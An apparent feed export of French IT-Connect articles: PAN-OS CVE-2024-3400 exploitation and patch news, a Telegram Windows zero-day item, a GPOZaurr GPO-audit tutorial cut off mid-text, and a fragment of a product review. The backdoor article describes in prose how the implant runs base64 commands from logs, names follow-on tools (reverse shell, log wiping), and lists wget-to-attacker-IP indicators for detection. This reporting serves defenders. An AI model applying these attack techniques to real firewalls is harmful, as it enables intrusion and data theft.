<p>De plus, sachez que le Couchmaster Cycon 2 est disponible en plusieurs éditions et coloris : <strong>CYPUNK </strong>(pour les fans de Cyberpunk), <strong>Fusion Grey</strong>, <strong>Titan Black Edition</strong> (version de luxe avec des éléments en titane et des coussins en cuir nappa véritable) et <strong>Black Edition</strong>.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="602" src="media/1ca01005.Couchmaster-Cycon-2-Photo-mise-en-scene-1.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-mise-en-scene-1.jpg" alt="" class="wp-image-78804" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-mise-en-scene-1.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-mise-en-scene-1-550x414.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-mise-en-scene-1-150x113.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-mise-en-scene-1-768x578.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Couchmaster-Cycon-2-Photo-mise-en-scene-1-50x38.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure><p>The post <a href="https://www.it-connect.fr/test-couchmaster-cycon-2-nerdytec-support-ergonomique-jouer-ou-travailler-depuis-son-canape/">Test Couchmaster CYCON² – Un support ergonomique pour jouer ou travailler depuis son canapé</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79504
uri: Palo-Alto-la-faille-de-sécurité-CVE-2024-3400-exploitée-depuis-ma
title:
Palo Alto : la faille de sécurité CVE-2024-3400 exploitée depuis mars 2024 pour déployer une porte dérobée !

url:
https://www.it-connect.fr/palo-alto-cve-2024-3400-exploitee-depuis-mars-2024-pour-deployer-une-porte-derobee/

content:
<p><strong>Les dernières nouvelles au sujet de la CVE-2024-3400 ne sont pas bonnes : depuis le 26 mars 2024, un groupe de pirates exploite cette faille de sécurité zero-day présente dans le système <strong>PAN-OS </strong>des firewalls Palo Alto pour déployer une porte dérobée et s'introduire dans le réseau interne des organisations dont le matériel a été compromis.</strong></p>



<h2 class="wp-block-heading">Rappel sur la CVE-2024-3400</h2>



<p>Le système <strong>PAN-OS</strong>, qui équipe les firewalls de l'entreprise Palo Alto Networks, est affectée par une <strong>faille de sécurité critique</strong> (<strong>CVE-2024-3400</strong>) associée à un <strong>score CVSS de 10 sur 10</strong> !  C'est une vulnérabilité de type "<em>injection de commande</em>" et elle a été découverte dans la fonction GlobalProtect du système PAN-OS.</p>



<p><strong>Un correctif est attendu pour ce dimanche 14 avril</strong>, mais à l'heure où ces lignes sont écrites, le correctif n'a pas encore été publié par Palo Alto Networks. En attendant, pour vous protéger, vous devez <strong>désactiver la télémétrie sur votre firewall</strong>, ou activer <strong>la protection contre la menace avec l'ID 95187</strong> dans la fonction "<strong>Threat Prevention</strong>".</p>



<p>Pour en savoir plus, et connaitre les versions de PAN-OS impactées, lisez cet article publié vendredi dernier sur notre site :</p>



<ul>
<li><a href="https://www.it-connect.fr/firewalls-palo-alto-cette-faille-de-securite-zero-day-non-corrigee-est-deja-exploitee-dans-des-attaques/" target="_blank" rel="noopener" title="">Firewalls Palo Alto : cette faille de sécurité zero-day non corrigée est déjà exploitée dans des attaques !</a></li>
</ul>



<h2 class="wp-block-heading">Une première tentative d'exploitation le 26 mars 2024</h2>



<p>Dans son<a href="https://security.paloaltonetworks.com/CVE-2024-3400" target="_blank" rel="noopener nofollow" title=""> bulletin de sécurité</a>, <strong>Palo Alto évoque le fait que cette vulnérabilité a déjà été exploitée par les cybercriminels</strong>, sans donner plus de précisions : "<em>Palo Alto Networks a connaissance d'un nombre limité d'attaques qui exploitent cette vulnérabilité</em>".</p>



<p>Néanmoins, si nous regardons <a href="https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/" target="_blank" rel="noopener nofollow" title="">ce rapport</a> publié par la société Volexity, à l'origine de la découverte de cette vulnérabilité critique, nous apprenons qu'elle a été exploitée pour la première fois en mars 2024 : "<em>La première preuve de tentative d'exploitation observée par Volexity jusqu'à présent remonte au 26 mars 2024, lorsque les attaquants ont semblé vérifier que l'exploitation fonctionnait correctement.</em>" - Le jour suivant, une autre tentative a été repérée par Volexity, puis, <strong>les pirates ont attendu le 10 avril 2024 pour déployer un <em>payload</em></strong>.</p>



<p>L'acteur malveillant à l'origine de cette tentative d'exploitation est suivi par Veloxity sous le nom de <strong>UTA0218</strong>, et d'après eux, il est fort probable que ce soit <strong>un groupe de pirates sponsorisés par un État</strong>.</p>



<p>"<em>Volexity estime qu'il est très probable que UTA0218 soit un acteur de menace soutenu par un État, compte tenu des ressources nécessaires pour développer et exploiter une vulnérabilité de cette nature, du type de victimes ciblées par cet acteur et des capacités affichées pour installer la porte dérobée Python et accéder aux réseaux des victimes</em>", peut-on lire.</p>



<h2 class="wp-block-heading">Une porte dérobée déployée, mais pas uniquement...</h2>



<p>L<strong>'implant principal, appelé "Upstyle", correspond à une porte dérobée installée par l'intermédiaire d'un script Python</strong> associé à un fichier de configuration ("/usr/lib/python3.6/site-packages/system.pth"). Une fois que cette backdoor est déployée,<strong> les pirates peuvent l'exploiter pour exécuter des commandes sur le firewall compromis</strong>.</p>



<p>Comme le montre le schéma ci-dessous, <strong>les pirates transmettent les commandes à exécuter par l'intermédiaire de requêtes HTTP </strong>et ils génèrent volontairement une erreur. Ceci permet d'inscrire la requête, et donc la commande, dans le journal des erreurs du serveur Web du pare-feu. La porte dérobée va ensuite <strong>lire ce fichier journal et décoder la commande (base64) afin de l'exécuter</strong>.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="415" src="media/9af9c4c4.Palo-Alto-Networks-CVE-2024-3400-Porte-derobee.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-CVE-2024-3400-Porte-derobee.jpg" alt="Palo Alto Networks - CVE-2024-3400 - Porte dérobée" class="wp-image-79505" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-CVE-2024-3400-Porte-derobee.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-CVE-2024-3400-Porte-derobee-550x285.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-CVE-2024-3400-Porte-derobee-150x78.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-CVE-2024-3400-Porte-derobee-768x398.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/04/Palo-Alto-Networks-CVE-2024-3400-Porte-derobee-50x26.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /><figcaption class="wp-element-caption">Source : <em>Volexity</em></figcaption></figure>



<p>En complément de la porte dérobée, d'autres <em>payloads</em> sont déployés sur le firewall : un <strong>reverse shell</strong>, un outil de <strong>suppression des logs</strong>, un outil pour<strong> exporter la configuration de PAN-OS</strong> ou encore l'<strong>outil de tunneling GOST</strong>.</p>



<p>Dans une attaque observée par Volexity, <strong>les pirates informatiques sont parvenus à pivoter vers le réseau interne</strong> et à <strong>voler différentes informations</strong>, parmi lesquelles <strong>la base de données Active Directory </strong>("ntds.dit"), des journaux d'événements Windows, ou encore des données de navigateurs tels que Google Chrome et Microsoft Edge (identifiants et cookies).</p>



<h2 class="wp-block-heading">Mon firewall Palo Alto a-t-il été compromis ?</h2>



<p>Voilà une question que certains d'entre vous doivent se poser. Elle est légitime puisque cela fait plusieurs jours que cette vulnérabilité est exploitée par les cybercriminels et qu'il y a déjà eu plusieurs victimes.</p>



<p><strong>Voici ce que nous dit Volexity :</strong></p>



<p>"<em>Il existe deux méthodes principales pour identifier la compromission d'un pare-feu concerné. La première méthode consiste à surveiller le trafic et l'activité du réseau émanant des dispositifs de pare-feu Palo Alto Networks. Volexity travaille toujours à la coordination avec Palo Alto Networks concernant la seconde méthode et ne la décrit donc pas pour l'instant.</em>".</p>



<p>Au niveau des flux réseau, voici ce que vous devez vérifier dans les journaux :</p>



<p>- <strong>Vérifier si le pare-feu a effectué des requêtes "wget" vers Internet pour effectuer le téléchargement de ressources. </strong>En effet, les pirates utilisent cette commande pour récupérer des fichiers malveillants depuis leur serveur. Il s'agit de requête directe vers des adresses IP, notamment "<strong>172.233.228[.]93</strong>".</p>



<p>- <strong>Vérifier s'il y a eu des tentatives de connexions SMB et/ou RD</strong>P vers plusieurs systèmes de votre environnement, depuis l'appliance Palo Alto.</p>



<p>- <strong>Vérifier s'il y a eu des requêtes HTTP vers "worldtimeapi[.]org/api/timezone/etc/utc"</strong> à partir du pare-feu.</p>



<p>Nous vous tiendrons informés lorsque les correctifs seront mis en ligne.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/palo-alto-networks-zero-day-exploited-since-march-to-backdoor-firewalls/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/palo-alto-cve-2024-3400-exploitee-depuis-mars-2024-pour-deployer-une-porte-derobee/">Palo Alto : la faille de sécurité CVE-2024-3400 exploitée depuis mars 2024 pour déployer une porte dérobée !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79515
title: Telegram a corrigé une faille de sécurité zero-day dans son application pour Windows
uri: Telegram-a-corrigé-une-faille-de-sécurité-zero-day-dans-son-applica
url:
https://www.it-connect.fr/telegram-a-corrige-une-faille-de-securite-zero-day-dans-son-application-pour-windows/

content:
<p><strong>Votre PC est sous Windows et vous utilisez l'application Telegram pour ce système d'exploitation ? Alors, sachez que Telegram a effectué une modification pour vous protéger d'une nouvelle faille de sécurité zero-day.</strong></p>



<p>Telegram a corrigé une<strong> faille de sécurité zero-day</strong> pour protéger les utilisateurs de son <strong>application bureau pour Windows</strong>. En l'exploitant, un attaquant peut contourner les mécanismes de protection et exécuter des scripts Python sur la machine cible.<em> In fine</em>, ceci permettrait d'<strong>exécuter du code à distance sur la machine de l'utilisateur qui utilise une version vulnérable de l'application Telegram</strong>, même si cela implique une interaction de la part de l'utilisateur.</p>



<p>Une démonstration de l'exploitation de cette vulnérabilité a été <a href="http://twitter.com/phantmradar/status/1778403337756365267" target="_blank" rel="noopener nofollow" title="">publiée sur le réseau social X</a>. <strong>Telegram a d'abord indiqué qu'il s'agissait d'un canular</strong>. Mais, le lendemain, un exploit PoC a été publié sur le forum de piratage XSS pour montrer qu'il était possible d'<strong>exécuter des scripts Python ayant l'extension ".pyzw" sur Windows</strong>,<strong> </strong>par l'intermédiaire de l'application Telegram. Ainsi, un attaquant pourrait utiliser l'icône d'une vidéo pour inciter l'utilisateur à cliquer sur un lien dans le but d'exécuter le script malveillant.</p>



<p>En principe, <strong>l'application Telegram devrait déclencher un avertissement pour "bloquer" l'exécution de ce type de fichiers</strong>, mais là ce n'est pas le cas. Précisons également que Python doit être installé sur l'ordinateur de l'utilisateur pour que le script soit exécuté, ce qui fait une condition supplémentaire.</p>



<p>Finalement, Telegram a reconnu l'existence de cette vulnérabilité et a pris la décision de la corriger. Toutefois, <strong>le correctif a été implémenté du côté des serveurs Telegram,</strong> donc les utilisateurs n'ont rien à faire : <strong>il n'y a aucune mise à jour installer</strong>. "<em>Un correctif côté serveur a été appliqué pour s'assurer que ce problème ne se reproduise plus, de sorte que toutes les versions de Telegram Desktop (y compris les plus anciennes) n'ont plus ce problème</em>.", a précisé Telegram.</p>



<p>En fait, Telegram s'appuie sur <a href="https://github.com/telegramdesktop/tdesktop/blob/11b57ff7d3b61684daf03b350d90e5f8d68c24b1/Telegram/SourceFiles/data/data_document_resolver.cpp#L160" target="_blank" rel="noopener nofollow" title="">une liste d'extensions</a> correspondante à tous les fichiers "à risques" et potentiellement malveillants. Celle-ci permet d'indiquer à l'application Telegram quand elle doit afficher l'avertissement de sécurité.</p>



<p><a href="https://www.bleepingcomputer.com/news/security/telegram-fixes-windows-app-zero-day-used-to-launch-python-scripts/" target="_blank" rel="noopener nofollow" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/telegram-a-corrige-une-faille-de-securite-zero-day-dans-son-application-pour-windows/">Telegram a corrigé une faille de sécurité zero-day dans son application pour Windows</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=79510
title: Firewalls Palo Alto – CVE-2024-3400 : les premiers correctifs de sécurité sont disponibles !
uri: Firewalls-Palo-Alto-CVE-2024-3400-les-premiers-correctifs-de-sé
url: https://www.it-connect.fr/firewalls-palo-alto-cve-2024-3400-patchs-securite-sont-disponibles/
content:
<p><strong>Dimanche 14 avril 2024, Palo Alto Networks a tenu sa promesse en mettant en ligne des premiers correctifs pour corriger la nouvelle faille de sécurité critique (CVE-2024-3400) découverte dans le système PAN-OS de ses firewalls. D'autres correctifs sont attendus dans les prochains jours. Faisons le point.</strong></p>



<h2 class="wp-block-heading">Rappel sur la CVE-2024-3400</h2>



<p>Le système <strong>PAN-OS</strong>, qui équipe les firewalls de l'entreprise Palo Alto Networks, est affectée par une <strong>faille de sécurité critique</strong> (<strong>CVE-2024-3400</strong>) associée à un <strong>score CVSS de 10 sur 10</strong> !  C'est une vulnérabilité de type "<em>injection de commande</em>" et elle a été découverte dans la fonction GlobalProtect du système PAN-OS.</p>



<p>Désormais, des correctifs sont disponibles pour certaines versions de PAN-OS. Sinon, sans ce correctif, pour vous protéger, vous devez <strong>désactiver la télémétrie sur votre firewall</strong>, ou activer <strong>la protection contre la menace avec l'ID 95187</strong> dans la fonction "<strong>Threat Prevention</strong>". </p>



<p>Il est important de rappeler également qu'il y a des tentatives d'exploitation de cette faille de sécurité depuis le 26 mars 2024. Les pirates l'utilisent pour déployer une porte dérobée sur le firewall Palo Alto, et ensuite, essaient de pivoter vers le réseau interne de l'entreprise.</p>



<p><strong>Pour en savoir plus, et connaitre les versions de PAN-OS impactées, lisez nos articles sur cette alerte de sécurité :</strong></p>



<ul>
<li><a href="https://www.it-connect.fr/firewalls-palo-alto-cette-faille-de-securite-zero-day-non-corrigee-est-deja-exploitee-dans-des-attaques/" target="_blank" rel="noopener" title="">Firewalls Palo Alto : cette faille de sécurité zero-day non corrigée est déjà exploitée dans des attaques !</a></li>



<li><a href="https://www.it-connect.fr/palo-alto-cve-2024-3400-exploitee-depuis-mars-2024-pour-deployer-une-porte-derobee/" target="_blank" rel="noopener" title="">Palo Alto : la faille de sécurité CVE-2024-3400 exploitée depuis mars 2024 pour déployer une porte dérobée !</a></li>
</ul>



<h2 class="wp-block-heading">Les correctifs de sécurité pour la CVE-2024-3400</h2>



<p>Les firewalls Palo Alto qui exécute les <strong>versions suivantes de PAN-OS sont potentiellement vulnérables : PAN-OS 10.2, 11.0 et 11.1</strong>. Désormais, l'éditeur a mis en ligne des correctifs de sécurité et il a mis à jour son <a href="https://security.paloaltonetworks.com/CVE-2024-3400" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité</a>.</p>



<p>Pour le moment, trois correctifs de sécurité sont disponibles :</p>



<ul>
<li><strong>PAN-OS 10.2.9-h1</strong></li>



<li><strong>PAN-OS 11.0.4-h1</strong></li>



<li><strong>PAN-OS 11.1.2-h3</strong></li>
</ul>



<p>Dans les prochains jours, d'autres correctifs sont attendus. Voici un tableau récapitulatif :</p>



<figure class="wp-block-table"><table><thead><tr><th>Version</th><th>Date de publication du correctif</th></tr></thead><tbody><tr><td>10.2.8-h3</td><td>15/04/2024</td></tr><tr><td>10.2.7-h8</td><td>15/04/2024</td></tr><tr><td>10.2.6-h3</td><td>15/04/2024</td></tr><tr><td>10.2.5-h6</td><td>16/04/2024</td></tr><tr><td>10.2.4-h16</td><td>19/04/2024</td></tr><tr><td>10.2.3-h13</td><td>17/04/2024</td></tr><tr><td>10.2.1-h2</td><td>17/04/2024</td></tr><tr><td>10.2.2-h5</td><td>18/04/2024</td></tr><tr><td>10.2.0-h3</td><td>18/04/2024</td></tr><tr><td>11.0.3-h10</td><td>15/04/2024</td></tr><tr><td>11.0.2-h4</td><td>16/04/2024</td></tr><tr><td>11.0.1-h4</td><td>17/04/2024</td></tr><tr><td>11.0.0-h3</td><td>18/04/2024</td></tr><tr><td>11.1.1-h1</td><td>16/04/2024</td></tr><tr><td>11.1.0-h3</td><td>17/04/2024</td></tr></tbody></table></figure>



<p>Par ailleurs, rappelons deux choses :</p>



<ul>
<li>L'exploitation de la vulnérabilité dépend de la configuration du firewall : "<em>Ce problème s'applique uniquement aux pare-feu PAN-OS 10.2, PAN-OS 11.0 et PAN-OS 11.1 avec les configurations de la passerelle GlobalProtect et la télémétrie de l'appareil activées.</em>", précise Palo Alto.</li>



<li>Cette vulnérabilité affecte uniquement le système PAN-OS, donc certaines versions spécifiques comme Cloud NGFW et Prisma Access ne sont pas impactées.</li>
</ul>



<p>Si vous avez besoin d'aide pour installer la mise à jour, référez-vous à la documentation officielle de Palo Alto, notamment <a href="https://docs.paloaltonetworks.com/pan-os/11-1/pan-os-upgrade/software-and-content-updates/pan-os-software-updates" target="_blank" rel="noopener nofollow" title="">cette page</a>.</p><p>The post <a href="https://www.it-connect.fr/firewalls-palo-alto-cve-2024-3400-patchs-securite-sont-disponibles/">Firewalls Palo Alto – CVE-2024-3400 : les premiers correctifs de sécurité sont disponibles !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=77622
title: GPOZaurr, l’outil ultime pour analyser vos stratégies de groupe
uri: GPOZaurr-l-outil-ultime-pour-analyser-vos-stratégies-de-groupe
url: https://www.it-connect.fr/gpozaurr-outil-ultime-pour-audit-analyser-gpo/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p>En environnement Active Directory, les stratégies de groupe jouent un rôle dans l'administration et la sécurisation des postes de travail et des serveurs. Néanmoins, au fil des années, elles sont susceptibles de s'accumuler et l'équipe IT peut finir par perdre le contrôle sur leurs GPO et ne plus avoir une bonne visibilité sur le rôle de chacune d'elle... Au point, de se retrouver avec des GPO en double, des GPO vides, des GPO avec des permissions incorrectes, ou tout simplement des GPO mal configurées. D'ailleurs, tôt ou tard, ceci pourrait être à l'origine d'un problème avec l'une de vos stratégies de groupe...</p>



<p>Nous pouvons dire que l'administration des GPO est un véritable défi, surtout quand elles sont nombreuses et gérées par plusieurs personnes. Dans ce tutoriel, nous allons découvrir<strong> l'outil GPOZaurr</strong>, qui pourra vous venir en aide puisque <strong>ce module PowerShell va analyser l'intégralité de vos GPO</strong> et vous <strong>générer un joli rapport </strong>que vous pourrez ensuite analyser. </p>



<p>Il sera d'une aide précieuse à celles et ceux qui ont la volonté de<strong> faire du tri dans leurs GPO</strong>, mais également si vous cherchez à<strong> investiguer sur un problème de stratégies de groupe</strong>. Nous pourrions même dire que GPOZaurr permet de faire <strong>un audit des GPO</strong>. En complément, vous pouvez lire cet article :</p>



<ul>
<li><a href="https://youtu.be/WCXrwHIsdsY" target="_blank" rel="noopener nofollow" title="">Cliquez ici pour regarder la vidéo sur YouTube</a></li>
</ul>



<iframe class="iframe_youtube" src="https://www.youtube.com/embed/WCXrwHIsdsY" title="" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share" referrerpolicy="strict-origin-when-cross-origin" allowfullscreen></iframe>



<ul>
<li><a href="https://www.it-connect.fr/les-gpo-ne-sappliquent-pas-14-pistes-a-etudier/" target="_blank" rel="noopener" title="Ma GPO ne fonctionne pas ! Que faire ? Voici 14 pistes et conseils pour s’en sortir !">Tutoriel - Ma GPO ne fonctionne pas : 14 pistes et conseils pour s'en sortir !</a></li>
</ul>



<h2 class="wp-block-heading">II. Les vérifications effectuées par GPOZaurr</h2>



<p>Lorsque nous allons exécuter un audit avec GPOZaurr, l'outil va vérifier <strong>près d'une vingtaine de points de configuration et anomalies potentielles</strong>. Par exemple :</p>



<ul>
<li><strong>Détection des GPO "cassées"</strong>, c'est-à-dire des GPO qui sont présentes dans l'Active Directory mais qui ne sont plus dans SYSVOL, ou inversement. Ceci crée des GPO orphelines qui ne fonctionneront pas.</li>



<li><strong>Détection des liens de GPO "cassés</strong>, c'est-à-dire que la GPO a été supprimée, mais qu'une ou plusieurs liaisons n'ont pas été correctement supprimés.</li>



<li><strong>Détection des problèmes et des incohérences sur les permissions de GPO.</strong></li>



<li><strong>Détection des GPO dupliquées.</strong></li>



<li><strong>Détection des GPO vides.</strong></li>



<li><strong>Détection des GPO avec une section désactivée alors qu'il y a des paramètres configurés</strong></li>



<li><strong>Détection des mots de passe dans les GPO.</strong></li>



<li><strong>Inventorier tous les fichiers présents dans le SYSVOL</strong>, ce qui permettra de faciliter la détection de fichiers inutiles et/ou malveillants.</li>



<li><strong>Inventorier toutes les unités d'organisation dont l'héritage est bloqué </strong>et vérifier le nombre d'utilisateurs ou d'ordinateurs concernés.</li>



<li><strong>Catégorisation des GPO</strong>, en fonction des paramètres configurés.</li>



<li><strong>Vérification des autorisations sur le partage NetLogon.</strong></li>



<li><strong>Détection de fichiers ADM (legacy) dans le SYSVOL.</strong></li>
</ul>



<p>Il fournira aussi un rapport complet sur l'ensemble de vos GPOs permettant d'identifier les GPO vides, non liées, appliquées, désactivées, sans filtrage de sécurité, etc...</p>



<p><strong>Vous pouvez retrouver le projet GPOZaurr sur GitHub :</strong></p>



<ul>
<li><a href="https://github.com/EvotecIT/GPOZaurr" target="_blank" rel="noopener nofollow" title="">GitHub - GPOZaurr</a></li>
</ul>



<figure class="wp-block-image size-large"><a href="media/7601527e.Analyser-les-GPO-Active-Directory-avec-GPOZaurr.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Analyser-les-GPO-Active-Directory-avec-GPOZaurr.png"><img fetchpriority="high" decoding="async" width="800" height="382" src="media/503bcede.Analyser-les-GPO-Active-Directory-avec-GPOZaurr-800x382.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Analyser-les-GPO-Active-Directory-avec-GPOZaurr-800x382.png" alt="Analyser les GPO Active Directory avec GPOZaurr" class="wp-image-77623" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Analyser-les-GPO-Active-Directory-avec-GPOZaurr-800x382.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Analyser-les-GPO-Active-Directory-avec-GPOZaurr-550x263.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Analyser-les-GPO-Active-Directory-avec-GPOZaurr-150x72.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Analyser-les-GPO-Active-Directory-avec-GPOZaurr-768x367.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Analyser-les-GPO-Active-Directory-avec-GPOZaurr-50x24.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Analyser-les-GPO-Active-Directory-avec-GPOZaurr.png 1343w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<h2 class="wp-block-heading">III. Installer GPOZaurr</h2>



<p>Tout d'abord, ouvrez une console PowerShell sur votre machine et installez le module GPOZaurr :</p>



<pre class="wp-block-code"><code>Install-Module -Name GPOZaurr</code></pre>



<p>Vous devez savoir que <strong>GPOZaurr va également installer les modules PSWriteHTML, ADEssentials, PSSharedGoods, PSWriteColor</strong>, car ce sont des prérequis à son fonctionnement. D'ailleurs, c'est le même développeur principal derrière ces différents modules, et vous connaissez peut-être déjà l'excellent module PSWriteHTML.</p>



<p>Si l'installation ne passe pas avec la commande ci-dessus, réessayez avec celle-ci :</p>



<pre class="wp-block-code"><code>Install-Module -Name GPOZaurr -AllowClobber -Force</code></pre>



<p>Par ailleurs, GPOZaurr nécessite l'installation des <a href="https://www.it-connect.fr/windows-server-2022-comment-installer-les-outils-rsat/" target="_blank" rel="noopener" title="Windows Server 2022 – Comment installer les outils RSAT ?">outils RSAT pour l'Active Directory</a> et la console de "<strong>Gestion des stratégies de groupe</strong>" pour être en mesure d'effectuer l'analyse de votre environnement. Ces consoles sont présentes sur les serveurs contrôleurs de domaine Active Directory et peuvent être installées sur un serveur ou poste de travail d'administration.</p>



<h2 class="wp-block-heading">IV. Générer un rapport avec GPOZaurr</h2>



<p>Une fois que GPOZaurr est installé, vous pouvez l'exécuter via le cmdlet "<strong>Invoke-GPOZaurr</strong>" pour qu'il effectue une analyse de vos GPO.</p>



<p><strong>Remarque </strong>: vous devez l'exécuter avec un compte Administrateur pour que l'ensemble des points puissent être vérifiés. A partir d'un compte utilisateur standard, certaines informations pourront être récupérées, mais l'analyse sera partielle.</p>



<pre class="wp-block-code"><code>Invoke-GPOZaurr</code></pre>



<p><strong>Sans aucun paramètre, GPOZaurr va effectuer une analyse complète des stratégies de groupe de votre domaine Active Directory. </strong>Ainsi, sur un domaine avec plusieurs milliers de GPO, l'analyse peut durer plusieurs heures. Sur mon Lab, où il y a un peu moins de 100 GPO, l'analyse est relativement rapide puisqu'elle nécessite environ 2 minutes.</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="624" src="media/383028d1.Executer-un-audit-avec-GPOZaurr-800x624.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Executer-un-audit-avec-GPOZaurr-800x624.png" alt="Exécuter un audit avec GPOZaurr" class="wp-image-77625" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Executer-un-audit-avec-GPOZaurr-800x624.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Executer-un-audit-avec-GPOZaurr-550x429.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Executer-un-audit-avec-GPOZaurr-150x117.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Executer-un-audit-avec-GPOZaurr-768x599.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Executer-un-audit-avec-GPOZaurr-50x39.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/Executer-un-audit-avec-GPOZaurr.png 960w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Si vous souhaitez effectuer <strong>une analyse uniquement sur certaines catégories ou certaines anomalies</strong>, sachez que ce cmdlet intègre un paramètre nommé "<strong>-Type</strong>" qui vous permettra de spécifier le périmètre de l'analyse.</p>



<pre class="wp-block-code"><code>Invoke-GPOZaurr -Type <strong>&lt;Nom du rapport&gt;</strong>
# Exemple n°1 :
Invoke-GPOZaurr -Type <strong>GPOBroken</strong>
# Exemple n°2 :
Invoke-GPOZaurr -Type <strong>GPOBroken,GPOPermissions</strong></code></pre>



<p>Voici la liste des valeurs disponibles :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="133" src="media/9c0f5545.GPOZaurr-Selectionner-un-type-de-rapport.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GPOZaurr-Selectionner-un-type-de-rapport.png" alt="GPOZaurr - Sélectionner un type de rapport" class="wp-image-77626" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GPOZaurr-Selectionner-un-type-de-rapport.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GPOZaurr-Selectionner-un-type-de-rapport-550x91.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GPOZaurr-Selectionner-un-type-de-rapport-150x25.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GPOZaurr-Selectionner-un-type-de-rapport-768x128.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/03/GPOZaurr-Selectionner-un-type-de-rapport-50x8.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Par ailleurs, le paramètre "<strong>-FilePath</strong>" vous offre la possibilité de <strong>nommer le rapport</strong> comme vous le souhaitez et de le <strong>stocker dans le répertoire de votre choix</strong>. Sinon, par défaut, ce sera dans le répertoire temporaire de l'utilisateur utilisé pour lancer l'analyse. L'exemple ci-dessous vous permettra d'intégrer la date et l'heure dans le nom du rapport.</p>



<pre class="wp-block-code"><code>Invoke-GPOZaurr -FilePath "C:\TEMP\GPOZaurr_$(Get-Date -Format yyyyMMdd-hhmm).html"</code></pre>



<h2 class="wp-block-heading">V. Découverte du rapport de GPOZaurr</h2>



<p>Le rapport s'ouvrir sur votre machine dès lors que l'analyse est terminée. La partie supérieure du rapport contient <strong>un ensemble d'onglets</strong>, ce qui permet de naviguer dans les différentes catégories. Chaque onglet contient une zone qui décrit ce qui a été analysé, un graphique, ainsi qu'un tableau récapitulatif avec le statut de vos GPO.</p>



